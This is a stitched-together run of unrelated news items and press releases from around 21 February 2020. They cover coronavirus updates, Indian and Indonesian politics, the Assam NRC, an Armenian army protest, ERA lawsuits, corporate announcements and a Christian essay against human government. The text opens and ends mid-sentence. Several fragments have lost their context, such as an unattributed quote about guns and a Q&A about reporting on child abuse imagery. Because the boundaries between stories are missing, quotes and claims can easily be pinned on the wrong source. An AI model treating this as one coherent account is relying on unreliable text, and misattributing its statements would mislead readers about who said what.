of the more than 2,000 deaths from the outbreak have been recorded. If such a large number of students come back, this will cost huge health operations for the Pakistani government. If the isolation facilities are not ready, this can cause another outbreak of this virus in Pakistan, Li Bijian, Consul General of China in Karachi, told reporters. China sees drop in new virus cases: Control efforts working China touted a big drop in new cases of the coronavirus as a sign it has contained the epidemic, but fears grew abroad after two former passengers of a quarantined cruise ship died in Japan and a cluster of infections increased in South Korea. Chinese officials said this week their drastic containment efforts including quarantining tens of millions of people in Hubei and restricting movements in cities nationwide have started to pay off. Results show that our control efforts are working, Foreign Minister Wang Yi said at a special meeting on the virus with Southeast Asian counterparts in Laos. Chinas forceful action has contained the spread of the virus inside China and also the spread of the virus to other parts of the world, Wang said, adding the country has the capacity and determination to overcome this outbreak at an early date. Read the updates from Thursday, February 20 here. South Korea will start restricting all enlisted soldiers from vacationing, staying outside their bases and meeting visitors this weekend, the defense ministry said Thursday, after the Navy reported the first suspected coronavirus case among the country's service members. The restrictions, set to go into effect on Saturday, came at a meeting of top defense and uniformed officials, which was presided over by Defense Minister Jeong Kyeong-doo. "Based on the recommendations from each armed service, Defense Minister Jeong decided to restrict them from going on vacation, staying out of their installations, staying out overnight and meeting visitors, starting from Feb. 22," the ministry said. A 22-year-old Navy sailor on the southern island of Jeju tested positive Thursday for the COVID-19 virus in an initial examination, government officials said. The final test result will be available the following day, according to the officials. If confirmed, it will mark the first confirmed case among service personnel in South Korea. The sailor visited his hometown, Daegu, 300 kilometers southeast of Seoul, from Feb. 13-18. Upon returning to the base, he showed symptoms, such as coughing, prompting the authorities to immediately quarantine him at the base. At the meeting, the defense minister called for "extraordinary measures" to contain the spread of the virus. "I call on you to ensure military readiness while stably commanding your units while recognizing the gravity of the situation," Jeong said. The Air Force has also taken steps to fend off the virus after a parent of cadet who attended the entrance ceremony of the Air Force Academy on Monday was known to have contracted the novel virus. The cadet has been under quarantine. Earlier in the day, South Korea reported its first death of a coronavirus patient, with the total number of the country's confirmed cases standing at 104. (Yonhap) A young woman, identified as Amulya, was whisked away from the dais on Thursday, for shouting "Pakistan zindabad" at an anti-CAA rally here, police said. "Amaulya, a student activist, was taken off the dais and detained for shouting 'Pakistan zindabad' at the rally in Freedom Park in the presence of AIMIM President Asauddin Owaisi and leaders of different faiths," a police official told IANS here. The sudden incident, which embarrassed Owaisi and the rally organisers - Hindu-Muslim-Sikh-Issai Federation, occurred when Amulya was called on the dais to address the gathering in protest against the Citizenship Amendment Act (CAA) under the banner of "Save Our Constitution". "When Owaisi and others tried to stop Amulya from shouting the pro-Pakistan slogan, she started chanting 'Hindustan zindabad'. Our personnel who were at the rally for providing security, took her off the dais to control the situation even as she insisted on speaking," the police officer recalled. Owaisi, President of the All-India Majilis-e-Ittehadul Muslimeen (AIMIM) and its 4-time Lok Sabha member from the Hyderabad constituency, condemned the activist for taking liberty to shout pro-Pakistan slogan and told the organisers to stop her from speaking. "When Amulya resisted the organisers from addressing the gathering, our policewomen had to forcibly escort from the stage and detain her in a corner," the police official added. Regretting the incident and denouncing the activist, Owaisi said in Hindi-Urdu that he and his party was against such slogans as they are for India and proud of being Indians. "We do not agree with the activist shouting such slogans. The organisers should not have invited her to the rally. If I knew this, I would not have come and we don't have any link with her. We are for India and don't support our enemy nation Pakistan. Our drive is to save India and our Constitution," asserted Owaisi. [February 21, 2020] Friedlander Group Announces a 25% Dividend Paid to the Members of The Oil and Fuel Dealer Group of New York Workers' Compensation Safety Group #582 Friedlander Group, the leader in workers' compensation, announces a 25% dividend paid to members of the Oil and Fuel Dealer Group of New York Workers' Compensation Safety Group #582*. The 25% paid dividend is in addition to the 25% group discount clients already received on their policies effective July 1, 2018 - July 1, 2019. The combination of the 25% group discount and 25% dividend resulted in oil and fuel dealers saving over 43% on their workers' compensation insurance. A member with a standard premium of $10,000, only paid $5,625 after discounts and dividends. "By focusing on keeping their employees working and safe, clients have benefited from increased productivity and profits, along with unparalleled workers' compensation savings," says Adam Friedlander, President and Group Manager. Friedlander shares his expertise knowledge of how employers can operate at optimal levels in Safety and Workers' Compensation Strategies to Unleash Productivity and Profits. About Safety Groups Safety Groups provide low-cost, fully insured workers' compensation solutions to safety-conscious businesses within similar industries in New York*. Safety Groups offer qualifying new members up to a 35% group discount on their remiums. Premiums are then pooled, and after paying claims and administration charges, the profits are paid back to the Safety Group members in the form of a dividend. About Friedlander Group Friedlander Group manages seven Workers' Compensation Safety Groups for retailers, restaurants, wholesalers, hotels and motels, oil and fuel dealers, and home health care and residential care facilities. Since 1992, clients across these industries have been paid a total of $248 million in dividends and, when combined with group discounts, clients saved a total of $550 million on their workers' compensation costs. In addition to the Safety Groups, Friedlander Groups' Workers' Care program specializes in workers' compensation for clients that struggle with safety or are outside of the mentioned industries. Friedlander Group reduces premiums through expert Claims Solutions, Self-pay techniques, Fraud Prevention Services, Audit Services, Safety Services, Unique Reporting and Underwriting Services. For more information contact Cosmo Preiato, Executive VP., 800-394-7004, ext. 203 or email [email protected]. *The Oil and Fuel Dealer Group of New York Workers' Compensation Safety Group #582, all mentioned Safety Groups, and Workers' Care Group are underwritten by the New York State Insurance Fund, 199 Church St. New York, NY 10007. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005301/en/ [ Back To TMCnet.com's Homepage ] Share this article Whatsapp Facebook Twitter Linkedin Apriadi Gunawan (The Jakarta Post) Medan Fri, February 21, 2020 12:43 691 7f440ff09e92db75a02bbad2065c916a 1 Politics NasDem-Party,Bobby-Nasution,surya-paloh,Medan,regional-election,mayor,2020-regional-elections Free The NasDem Party has confirmed its plan to nominate President Joko Jokowi Widodos son-in-law, Bobby Afif Nasution, as its candidate for the 2020 Medan mayoral election in North Sumatra. NasDem chairman Surya Paloh said the party decided to give its support to Bobby because the latter had earned the top spot in the partys recent internal survey. We will give our utmost support to Bobby. He did well in our survey, too well, even, Surya told journalists in Medan on Thursday. He added that several people had registered with the party to run in this years Medan mayoral race, including incumbent mayor Akhyar Nasution. However, an internal survey revealed that Bobby ranked higher than Akhyar. Read also: Jokowis son-in-law meets with Prabowo over Medan mayoral race Surya denied the party had given its support to Bobby due to his relationship with President Jokowi. He became the Presidents son-in-law by a stroke of luck. Why should we even care about that? Surya said, adding that his son Prananda Surya Paloh would not join the Medan mayoral race. The Presidents in-law registered with NasDems North Sumatra branch on Jan. 22 to run in the mayoral election. Aside from NasDem, Bobby had also registered with the Indonesian Democratic Party of Struggle (PDI-P) and the Golkar Party. NasDem is unable to nominate Bobby by itself since the party only gained four seats on the Medan Legislative Council. A political party is only eligible to nominate a candidate if it has a total of 10 seats on the legislative council. Such provision would urge NasDem to form a coalition with other parties so it could gain additional seats and fulfill the nomination requirement. (dpk) Some of Latin America's leading venture capital investors are now backing hotel chains. In fact, Ayenda, the largest hotel chain in Colombia, has raised $8.7 million in a new round of funding, according to the company. Led by Kaszek Ventures, the round will support the continued expansion of Ayenda's chain of hotels in Colombia and beyond. The hotel operator already has 150 hotels operating under its flag in Colombia and has recently expanded to Peru, according to a statement. Financing came from Kaszek Ventures and strategic investors like Irelandia Aviation, Kairos, Altabix and BWG Ventures. The company, which was founded in 2018, now has more than 4,500 rooms under its brand in Colombia and has become the biggest hotel chain in the country. Investments in brick and mortar chains by venture firms are far more common in emerging markets than they are in North America. The investment in Ayenda mirrors big bets that SoftBank Group has made in the Indian hotel chain Oyo and an investment made by Tencent, Sequoia China, Baidu Capital and Goldman Sachs, in LvYue Group late last year, amounting to "several hundred million dollars", according to a company statement. We're seeking to invest in companies that are redefining the big industries and we found Ayenda, a team that is changing the hotel's industry in an unprecedented way for the region", said Nicolas Berman, Kaszek Ventures partner. Ayenda works with independent hotels through a franchise system to help them increase their occupancy and services. The hotels have to apply to be part of the chain and go through an up to 30-day inspection process before they're approved to open for business. "With a broad supply of hotels with the best cost-benefit relationship, guests can travel more frequently, accelerating the economy," says Declan Ryan, managing partner at Irelandia Aviation. The company hopes to have more than 1 million guests in 2020 in their hotels. Rooms list at $20 per-night, including amenities and an around the clock customer support team. Oyo's story may be a cautionary tale for companies looking at expanding via venture investment for hotel chains. The once high-flying company has been the subject of some scathing criticism. As we wrote: Acting Managing Director of the Niger Delta Development Commission (NDDC), Kemebradikumo Pondei, has promised sweeping changes in the commission. Mr Pondei, a professor, announced this at his maiden meeting with NDDC management and staff in Port Harcourt, a statement by the commissions Director of Corporate Affairs, Charles Odili, on Friday stated. President Muhammadu Buhari had on Wednesday replaced Joi Nunieh with Mr Pondei in the newly-expanded five-man Interim Management Committee (IMC) of the commission. The committee was set up by Mr Buhari to help create an enabling environment for the forensic audit of the commissions finances and contracts starting from 2001. Mr Pondei said NDDC will soon be reorganised to enhance its service delivery and reduce sufferings of the people. READ MORE: We need to have quality assurance and measurable performance indicators in every unit and department of NDDC. I am a problem solver by training, and as such, pray that members of the IMC will work together to solve problems. We must come up with ways of seriously improving on our service delivery by paying attention to efficiency and quality. Every department in NDDC will need to come up with new work plans and we need to have measurable indices in those work plans, he said. Mr Pondei said NDDC was in trouble, having spent about 20 years since its creation without making much progress. The managing director said Mr Buhari was passionate about welfare of Niger Delta people, hence his decision to adopt new strategies in tackling problems of the region. Buhari decided that since we have done the same thing, using the same method and getting the same result, that it was time to try something different. To this end, members of the new IMC have resolved to work together as an indivisible team. We also need to work in harmony with NDDC management and staff. Feelers from members of the public show that NDDC staff were seen as contributing to the problems of the region, he said. (NAN) Rome's Irish community and friends of Ireland celebrate St Patrick's Day in Italy. St Patricks Day 2020 falls on Tuesday 17 March. One of the main events in celebration of Ireland's national day - the St Patricks Day Gala Dinner will take place on Saturday 14 March. Hosted by the Irish Club of Rome, the event will be held at LArcheologia restaurant on Via Appia Antica. Tickets cost 60 and can be reserved by emailing irishclubofrome@gmail.com. The day is marked officially on 17 March at 10.00 with a Mass for La Fheile Padraig, which this year will be celebrated at St Isidore's Church, followed by a reception afterwards in the cloister. The Mass is always well-attended by the citys Irish community and friends of Ireland, who unite in a nostalgic rendition of Hail Glorious, St Patrick. Villa Spada lights up for St Patrick's Day. Photo courtesy Embassy of Ireland to Italy. Later that evening Trajan's Column will be bathed in green lights as part of Tourism Ireland's international Global Greening initiative, now in its 11th year. Rome-based traditional Irish music band The Shire will be playing numerous trad sessions around the city including at the Nag's Head, near Piazza Venezia, at 22.00 on St Patrick's night. If you plan to raise a toast to Ireland with a pint of Guinness, some of the pubs most favoured by Romes Irish residents include the Druids Den, the Fiddlers Elbow, Finnegans and Scholars Lounge, the last of which has five bands performing live throughout St Patrick's Day, from the morning until the wee hours. TORONTO, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Tanzanian Gold Corporations, (TSX:TNX) (NYSE American:TRX) (the Companys) Board of Directors wishes to retract in its entirety, as a result of a review by staff of the Ontario Securities Commission (OSC), the disclosure of unclassified resources included in the Companys press release of February 14, 2020 (the Prior Release) regarding the Buckreef Project. Unclassified resources are not a CIM category of mineral resources and such disclosure is contrary to paragraphs 2.2(a) and 2.3(1)(a) of National Instrument 43-101 Standards of Disclosure for Mineral Projects. For information in respect of the Companys Buckreef Project, please refer to the Companys Technical Report dated June 26, 2018 available under the Companys profile at www.sedar.com , rather than the Prior Release. The Company is very pleased with the progress and outcome of its 2019 drilling program at the Buckreef Project and looks forward to providing revised disclosure within approximately 14 working days. Respectfully Submitted, James E. Sinclair James E. Sinclair Executive Chairman For further information, please contact Michael Martin, Investor Relations, via email at m.martin@tangoldcorp.com , direct line 860-248-0999, or visit the Company website at www.tangoldcorp.com . The Toronto Stock Exchange and NYSE MKT LLC have not reviewed and do not accept responsibility for the adequacy or accuracy of this release. Cautionary Note to U.S. Investors - The United States Securities and Exchange Commission limits disclosure for U.S. reporting purposes to mineral deposits that a company can economically and legally extract or produce. We use certain terms on this news release, such as reserves, resources, geologic resources, proven, probable, "measured", "indicated", or "inferred" which may not be consistent with the reserve definitions established by the SEC. U.S. Investors are urged to consider closely the disclosure in our SEC filings. You can review and obtain copies of these filings from the SEC's website at http://www.sec.gov/edgar.shtml . This news release contains certain forward-looking statements and forward-looking information. All statements, other than statements of historical fact, included herein are forward-looking statements and forward-looking information that involve various risks and uncertainties. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Company's expectations are disclosed in the Company's documents filed from time-to-time with the British Columbia, Alberta and Ontario provincial securities regulatory authorities. Certain information presented in this release may constitute forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. Such forward-looking statements are based on numerous assumptions, and involve known and unknown risks, uncertainties and other factors, including risks inherent in mineral exploration and development, which may cause the actual results, performance, or achievements of the Company to be materially different from any projected future results, performance, or achievements expressed or implied by such forward-looking statements. Investors are referred to our description of the risk factors affecting the Company, as contained in our SEC filings, including our annual report on Form 20-F and Registration Statement on Form F-10, as amended, for more information concerning these risks, uncertainties, and other factors. To be honest, it was hard. We had no idea how dark this story would get. Reading hundreds of graphic descriptions of images and videos found in court cases was disturbing. Speaking with survivors of abuse was also difficult, but it was important for us to hear their stories. And we found that these conversations seemed helpful for many of them. There were times during interviews that mothers and daughters would speak with one another for long stretches, without us even asking a question. We also spoke with dozens of people who have been working on this issue for years, particularly at childrens rights organizations. One of the emotions they consistently conveyed was frustration over inaction and people turning away from the issue. And so knowing that we were drawing attention to an issue that deserved it became a major motivation for reporting on such a tough subject. Has the reporting triggered any changes within the companies, organizations or law enforcement agencies you focused on in the episodes? Yes. Lets start with the government. Immediately after our stories were published, a bipartisan bill was introduced in Congress that would require tech companies to retain information on accounts found with illegal photos and videos for a longer period of time to assist law enforcement with investigations. Lawmakers say this is part of a larger package of bills they intend to introduce to address issues raised by our reporting. Companies have responded as well. Several have said they will begin to look for the imagery more aggressively. For instance, spokespeople from Dropbox and Cloudflare said that they would implement more rigorous measures to find and remove the imagery. Others, including Yahoo, have changed their practices around video scanning. Microsoft, which we talked about a lot in these episodes, has expanded the team of employees that monitors this kind of activity and also unveiled a tool to detect adult predators trying to lure children into dangerous situations. Most Americans and most American Christians view government as basically good, ordained by God for the good of the nation and its citizens, and as having the God-given right to lay down just about any kind of law as long as it doesnt violate the commands of God in scripture. Some would add that said laws must have some kind of support from the people perhaps the judiciary. The problem is that the bible doesnt teach such a view. Surprisingly, one is hard-pressed to find human government cast in a positive light in scripture. On the contrary, human government is evil, oppressive, and beastly according to the scriptures. Gods Warning About Earthly Kings When Old Covenant Israel was a theocracy under direct rule from God, they decided they wanted to be like the pagan nations around them and demanded an earthly king. Samuel knew such a demand was evil and took the matter to God who told Samuel the people have no rejected you but Me. He told Samuel to give them an earthly king, but He also told Samuel to warn them. This will be the behavior of the king who will reign over you: He will take your sons and appoint them for his own chariots and to be his horsemen, and some will run before his chariots. He will appoint captains over his thousands and captains over his fifties, will set some to plow his ground and reap his harvest, and some to make his weapons of war and equipment for his chariots. He will take your daughters to be perfumers, cooks, and bakers. And he will take the best of your fields, your vineyards, and your olive groves, and give them to his servants. He will take a tenth of your grain and your vintage, and give it to his officers and servants. And he will take your male servants, your female servants, your finest young men, and your donkeys, and put them to his work. He will take a tenth of your sheep. And you will be his servants. And you will cry out in that day because of your king whom you have chosen for yourselves, and the Lord will not hear you in that day (1 Sam. 8:11-18). The consequences of human government were disastrous for Israel, and the same is true of nations today. If David, a man after Gods own heart, drafted and taxed the people, confiscated their property, took Uriah the Hittites wife and murdered him, what kinds of things will kings, parliaments, and congresses comprised of a mixed multitude do? Think of marauding kings through the Old Testament, of Ahasuerus abducting our-hundred women including Esther to be sex slaves, or Nero persecuting Christians mercilessly. Think of all the evil things governments throughout history have done. Think of the evil things our own government has does and continues to do. Its hard to argue with biblical and historical evidence flashing like a neon sign. Gods Kingdom and Rival Kingdoms Daniel is instructive here. He prophesied of four evil kingdoms over a 490-year time period (seven sevens): Babylon, the Medo-Persian Empire, the Greek Empire, and the Roman Empire. In the midst of the Roman Empire another kingdom would be established: one made without hands, unshakable, righteous, and eternal the Kingdom of God. With the birth of Christ this kingdom was inaugurated. Daniel tells us that this kingdom will smash the other kingdoms in pieces. He implies that these kingdoms and indeed all earthly kingdoms are rival kingdoms to the Kingdom of God. King Jesus will destroy them all with the brightness of His coming at the consummation of His kingdom. Gods Description of Human Government And then we have Revelation 13 and the beast. Whether you regard the beast as Nero-Caesar, the Roman Empire, or human government in general, thats just the point, the human government in general is the beast empowered by Satan. The bible does not present human government in a positive light. Gods Means of Human Flourishing Of course, many will ask about Romans 13. Its common to assume that Paul is giving a theology of government and what it should be. But hes not. It doesnt even make sense for him to do such in that letter. What hes doing is encouraging persecuted Christians to endure Nero because God has ordained him for their good: their spiritual good that is their sanctification. Its a practical admonition that flows from his point in Rom. 8:28 and following. Space wont allow a full treatment of that text here; well deal with that in a future post. But substitute the word Nero for the word authorities in Romans 13, and some light will be shed. Read it in the context of Romans 12 and the last part of that chapter, and the light will get brighter. The point is that human government is not ordained by God for the good of the nation and its citizens. To see that as the role of government is to confuse it with the role of the church and the gospel. Sign up free for "True Worldview News," a weekly e-mail newsletter highlighting relevant news stories affecting Christians. Dr. Deans comments on selected stories along with editorials are included. The newsletter also features True Worldview, a twice-weekly podcast hosted by Dr. Dean and his daughter, Christi Johnson. Over 19 lakh people were left out of the final NRC list published on 31 August, 2019. Guwahati: The state coordinator of the National Register of Citizens (NRC), Hitesh Dev Sarma, has asked all deputy commissioners in Assam to provide details of ineligible persons who have been included in the NRC. A notice addressed to the Deputy Commissioner and District Registrar of Citizen Registration (DRCR) for all districts on Wednesday reads, It has come to the knowledge of the undersigned that after publication of final NRC on 31st August, 2019, few names of ineligible persons are found present in the final NRC, particularly who are Doubtful Voters (DV), Declared Foreigner (DF), those with cases pending in Foreigners Tribunal (PFT) and descendants of DV (DVD), DFD, PFTD. You are requested to share the details of such persons who are ineligible for inclusion in NRC, but whose names got included, the notice further mentions. The NRC Coordinator stated that the matter is of utmost importance as the details have to be reported to the Registrar General of India urgently. Over 19 lakh people were left out of the final NRC list published on 31 August, 2019 and of the 3.3 crore people of Assam who had applied for the citizenship test, none can now view their inclusion or exclusion status in the official NRC website. Concerns were raised when the entire database went offline from the Wipro cloud service, with allegations of malafide intent being brought up by the opposition. However, Wipro issued a statement clarifying that the disappearance of the database is due to pending payment. The page of publication of final NRC now states - This service shall be activated phase wise. Earlier, the former state NRC Coordinator Prateek Hajela had clarified that anyone could be considered for inclusion or exclusion depending on court decisions. Hajela was released on 11 November last year following a Supreme Court directive that enabled his transfer from Assam to his home state of Madhya Pradesh. On 13 August, 2019, during the NRC updating exercise, the Supreme Court had rejected the government's demand to reopen and re-verify the NRC data and ordered that the list of those excluded from the final Assam NRC be only published online. The hard copies of lists of inclusions and exclusions were to be provided at district offices. A Supreme Court bench comprising then Chief Justice of India Ranjan Gogoi and Justice RF Nariman also said that like the Aadhaar data, an appropriate regime be enacted for securing the Assam NRC data. Meanwhile, the NRC state coordinator on Tuesday allowed the release of thousands of Assam government officials engaged in NRC work on "various grounds like superannuation or transfer with promotion. In a letter written to the deputy commissioners of all districts, Sarma said, ...as per the decision taken in the NRC Coordination Committee meeting held on 30/01/2020, you may release LRCRs/ALRCRs (Local Registrar of Citizens Registration/Additional Local Registrar of Citizens Registers) on posting of their relievers and the new officer will take over the charge of the LRCR/ALRCR. If the relieving officers do not have experience in NRC work, then he or she may be 'suitably trained' by the additional deputy commissioner in-charge of NRC or the district project supervisor," he further stated. A total of 55,000 government employees were engaged for the NRC update exercise in Assam. By Akbar Mammadov Mothers of Armenian military servicemen, who died in non-combat situations, have staged a protest outside of a government building in Armenia to demand investigation into their sons deaths. The protesters demanded that the governments holds a session to discuss re-opening the death cases of their sons, implement a fair investigation and punish culprits including representatives of law enforcement agencies involved in these cases and takes measures to end crimes in the army. Between 15 and 18 Armenian soldiers have died in non-combat situations since January 2020. It is noteworthy that most of the soldiers have died in the occupied Nagorno-Karabakh region. The Armenian military leadership, however, has not responded to the public outcry over the soldiers' deaths so far. There were rumors that the so-called "defense minister" and "defense army commander" of troops in occupied Nagorno-Karabakh Karen Abrahamyan would resign, however, there has not been any resignations yet. The representative of the illegal military unit placed in Karabakh Senor Hasratyan has told the Armenian media that he did not possess any information about Abrahamyans resignation. I can only say about the current situation in the army that the army (illegal military unit) acts according to the preparation plan of the year. Meanwhile, the relatives of the fallen Armenian soldiers have said that Harutyunyan is the person beating most soldiers. Relatives of Armenian soldiers who died in non-combat situations in different years have also held a protest in front of the government building. Armenian Mnister of Justice of Rustam Badasyan has met protesters and heard their complaints. Family members of Armenian military servants have protested the appointment of Jalal Harutyunyan who frequently beats soldiers during the military service according to mothers of the soldiers placed in occupied Karabakh. -- Follow us on Twitter @AzerNewsAz The federal government has defended its handling of the National Disability Insurance Schemes finances, accusing the Victorian and NSW governments of a "ridiculous" attempt to grab cash from the schemes coffers. Responding to The Ages report on Friday that the states were accusing the Commonwealth of hoarding $1.7 billion from the NDIS while disabled people missed out on services, federal Disability Minister Stuart Robert lashed out at Victoria and NSW on Friday morning. Minister for the NDIS and Government Services Stuart Robert Credit:Alex Ellinghausen Its a ridiculous story from a ridiculous letter written by two governments that want money to spend on other projects, Mr Robert told ABC radio. I can't refute this more strongly than that. Japan's governing Liberal Democratic Party will postpone its convention due to the new coronavirus outbreak, the party's officials said. The LDP convention was scheduled for March 8 in Tokyo with more than 3,000 people. The LDP plans to reschedule the convention by looking at the future situation. It is considering adopting its action plan for this year at a general meeting of LDP members of both houses next month. One of the opposition parties, Nippon Ishin Japan Innovation Party, has decided to cancel its convention scheduled for March 22 in Osaka, Japan Bullet reported. Party leader Ichiro Matsui indicated that the party made the decision as it is unclear when the spread of coronavirus infections will end. Manama Chairman of the Supreme Council of Health and Chairman of the National Medical Team to prevent coronavirus Lieutenant-General Dr Shaikh Mohamed bin Abdullah Al Khalifa yesterday received Chinas Ambassador to Bahrain Anwaer. The meeting reviewed the latest developments on the coronavirus (Covid-19), and the precautionary and preventive measures being implemented in this regard in the Kingdom. The ambassador praised the efforts exerted by Bahrain and the support extended by the government and people to China. The supervisory, preventive and precautionary measures taken by Bahrain, based on the evidence, guidelines and recommendations of the World Health Organisation, and the importance of continued close communication between the two sides was also emphasised. The two sides stressed the significance of open and prompt communication between them to keep abreast with all developments within the framework of their coordination and cooperation to protect the health of citizens and residents. Shaikh Mohammed expressed his appreciation of the efforts exerted by China in tackling the disease and of the precautionary measures that it had taken based on international regulations and rules in close cooperation with the World Health Organisation. The Chinese diplomat expressed his understanding of the measures taken by Bahrain to reduce risks of Covid -19 reaching the Kingdom. Shaikh Mohammed briefed the ambassador about the measures and procedures taken by the National Medical team in tackling the coronavirus. He also informed him about the plans and the possibilities to deal with any case of suspected infection and with those came in contact Lt-General Dr Shaikh Mohamed holds discussion with Mr Anwaer in the presence of senior Health Ministry officials. with them. One western Hubei family was near collapse seeking aid for their week-old baby, whose blood disease case was being rejected by hospitals. A man from Inner Mongolia rented an apartment in Beijing and walked to a hospital every day for weeks to check if doctors would operate on his father's tumor. Another woman in the capital who was on the verge of kidney failure pleaded for help with operators on several city emergency hotlines, who said there were no facilities that could provide dialysis. She was admitted to a hospital Tuesday only after she aired her case online and volunteers came to her aid. This is not making anyone safer. We want to increase the threat of somebody who wants to do harm, Laib said. People who want to cause harm with guns are looking for areas that are not protected, he said. Israel confirmed its first case of new coronavirus Friday, in a citizen who flew home from Japan earlier this week after being quarantined on the stricken cruise ship Diamond Princess. "One of the passengers who returned home from the cruise ship in Japan tested positive in a checkup by the health ministry's central laboratory," a ministry statement said. A total of 15 Israelis were among the passengers quarantined on board the Diamond Princess, of whom 11 have flown home. The others all tested negative for the virus. The returning Israelis had all been placed in quarantine for 14 days at the Sheba Hospital in the central town of Tel Hashomer. At the start of the month, Prime Minister Benjamin Netanyahu said it was "inevitable" that the COVID-19 outbreak which began in China would reach Israel. He urged health authorities to focus on developing a vaccine. In late January, the government banned all flights from China from landing in Israel. This month it also began refusing entry to foreign nationals who had visited Hong Kong, Macau, Singapore or Thailand over the past two weeks. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In January, Virginia became the 38th state in the country to ratify the Equal Rights Amendment, which would make discrimination based on sex unconstitutional. But Alabamas attorney general is fighting alongside three other states to halt the amendments ratification altogether. The Equal Rights Amendment has been debated back and forth since it was first proposed in 1923, three years after the 19th amendment was approved. Alice Paul and Crystal Eastman, two suffragettes known for carrying the 19th amendment, wrote the ERA, which guaranteed that all womens rights would be protected be it in marriage, the workplace or anywhere else. But it was never approved. After the resurgence of second-wave feminism, Representative Martha Griffiths reintroduced the amendment 1971. It was approved by the House in 1971 and the Senate in 1972. Congress then set a deadline. The amendment needed to be ratified by three-fourths or 38 of the states in seven years, the standard deadline congress has put on amendments since prohibition. But Phyllis Shlafly, a well known conservative thinker of the time led a campaign against the ERA targeting middle class housewives. Shlafly argued the amendment could force women into being drafted into the military and subvert traditional gender roles. Labor leaders also worried that it could cut workplace protections designed for women. The campaign even led to five states rescinding their ratifications. By 1979 the amendment was still three votes shy of ratification. Congress extended the deadline three years to no avail. And since 1982, Congress never revisited an extension. In the last few years the rise of the #MeToo movement has led to a new wave of feminism. And with that, a new wave of states suddenly decided to ratify the ERA. It passed in Nevada in 2017, Illinois in 2018, and Virginia became the 38th state to ratify it this year. State Attorneys General both Republican and Democrat have filed lawsuits about the ERA, Democrats to have the amendment certified and Republicans, such as Alabama Attorney General Steve Marshall, to block it. The House voted 232-183 to eliminate that 1982 deadline on February 13, falling largely along party lines. Alabama Rep. Terri Sewell-D voted to eliminate the deadline. Alabama Attorney General Steve Marshall filed a federal lawsuit in Dec. 2019, along with three other state attorneys general, to stop what he says is an illegal attempt to ratify the Equal Rights Amendment. The attorneys general ask the court to rule that the time to ratify the ERA has expired and that the five states rescissions are valid. Marshall said in an emailed release to AL.com the ERA would not ensure equality among the sexes but promote a leftist agenda. If this constitutional bait-and-switch is successful, there will be dire consequences for the rule of law, Marshall said in a release to AL.com. The people had seven years to consider the ERA, and they rejected it. To sneak it into the Constitution through this illegal process would undermine the very basis for our constitutional order. The Goa government will approach the Supreme Court for an interim stay seeking to restrain Karnataka from going ahead with the Kalasa Banduri water diversion project across the River Mahadayi that is the subject of a long-standing interstate water dispute between Goa and Karnataka. Both the Goa and Karnataka governments have, for very different reasons, challenged the final award granted by the Mahadayi Interstate Water Disputes Tribunal which in a verdict in August 2018 granted Karnataka a total of 13.42 Thousand Million Cubic Feet (TMC) of water out of their demand from their total claims of 36.558 TMC of water. While Goa has approached the Supreme Court arguing that Karnataka shouldnt be allowed to divert any water owing to the fact that the Mahadayi river is a water-deficient river, Karnataka is before the Supreme Court arguing that the tribunal erred in granting it only 13.42 tmc of water. While agreeing to hear the plea across three days in July, the Supreme Court agreed with Karnatakas contention that the tribunals award will have to be notified before it can be challenged. The decision to notify the tribunals award sparked celebrations in Karnataka, which has now claimed that with the notification, a decade-old project can finally go ahead. Within 3-4 days we are filing a stay application before the Supreme Court so that they are not given any permissions. We will also bring before the Supreme Court that despite the dispute being pending they have already diverted the water, Goa Chief Minister Pramod Sawant said. The Opposition in Goa called the Supreme Courts decision to allow for the notification of the tribunals award as a black day for Goa. Black Day in Goa as Goa Govt remains silent on Honble Supreme Courts decision to notify the award of Mhadei Water Dispute Tribunal diverting water from our Lifeline Mother Mhadei to Karnataka. We will now intensify peoples agitation against the insensitive Government, Leader of Opposition Digambar Kamat tweeted. The massive project envisages the diversion of west-flowing streams in the Western Ghats close to the source of Goas Mandovi River to the east-flowing Malaprabha basin by the construction of dams across the Haltara, Kalasa and Banduri streams. The project proposes to divert 7.56 TMC of water during monsoon season through Inter connecting gravity canals for crossing the ridges at the cost of 840.52 crore. SHARE THIS ARTICLE ON Numerous talks and posters on sphingotec's acute care biomarkers in the scientific program of the conference sphingotec to host symposium "Relevant Pathways, Novel Diagnostic and Therapeutic Approaches in Acute Organ Dysfunction" HENNISDORF, GERMANY / ACCESSWIRE / February 21, 2020 / SphingoTec GmbH ("sphingotec") today announced that novel data on its acute care biomarkers Proenkephalin (penKid(R)) and Dipeptidyl Peptidase 3 (DPP3) will be presented at the 25th International Conference on Advances in Critical Care Nephrology (AKI & CRRT 2020) taking place in San Diego, CA, USA, on February 24-27, 2020. AKI & CCRT 2020 Presentations on penKid(R) and DPP3 In the scientific program of the conference, clinical researchers will present the latest results from studies investigating these two critical care biomarkers and their utility in diagnosing kidney injury. In a session on translating biomarker discoveries to clinical care, Peter Pickkers (Radboud University | RU Department of Intensive Care, Nijmegen, The Netherlands) will present data demonstrating that sphingotec's kidney function marker penKid(R) is a reliable surrogate for assessing true glomerular filtration rate (true GFR) in patients with renal insufficiency. Previous studies demonstrated that penKid(R) is a real-time kidney function biomarker, which is independent of inflammation and other co-morbidities. In another session, Matthieu Legrand (University of California, San Francisco | UCSF Department of Anesthesia and Perioperative Care, USA) will provide evidence showing that sphingotec's biomarker DPP3 is one cause for short-term kidney dysfunction and is highly associated with the development of acute kidney injury (AKI) in patients with severe burns. Being at the core of a newly discovered disease mechanism, DPP3 has been shown to play a causal role in short-term organ dysfunction when released into the bloodstream upon massive cell death in several acute and critical care conditions. Sphingotec Symposium at AKI & CCRT 2020 In a symposium organized by sphingotec titled "Relevant Pathways, Novel Diagnostic and Therapeutic Approaches in Acute Organ Dysfunction" leading clinical researchers will further discuss pathways leading to acute organ dysfunctions in critically ill patients as well as a novel diagnostic solution to assess the involvement of such pathways in acute and critical care conditions. Beyond providing an overview of novel biomarkers for monitoring kidney function, endothelial function, and DPP3-mediated heart and kidney dysfunction, the speakers will also share findings that are qualifying these biomarkers as biotargets. Oral Presentations at AKI & CRRT 2020 Session: Bench to Bedside: Translating Discoveries to Clinical Care, February 24, 2020 "Proenkephalin: Is it the New GFR Marker?" presented by Peter Pickkers (Radboud University | RU Department of Intensive Care) Session: Acute Kidney Injury (AKI): 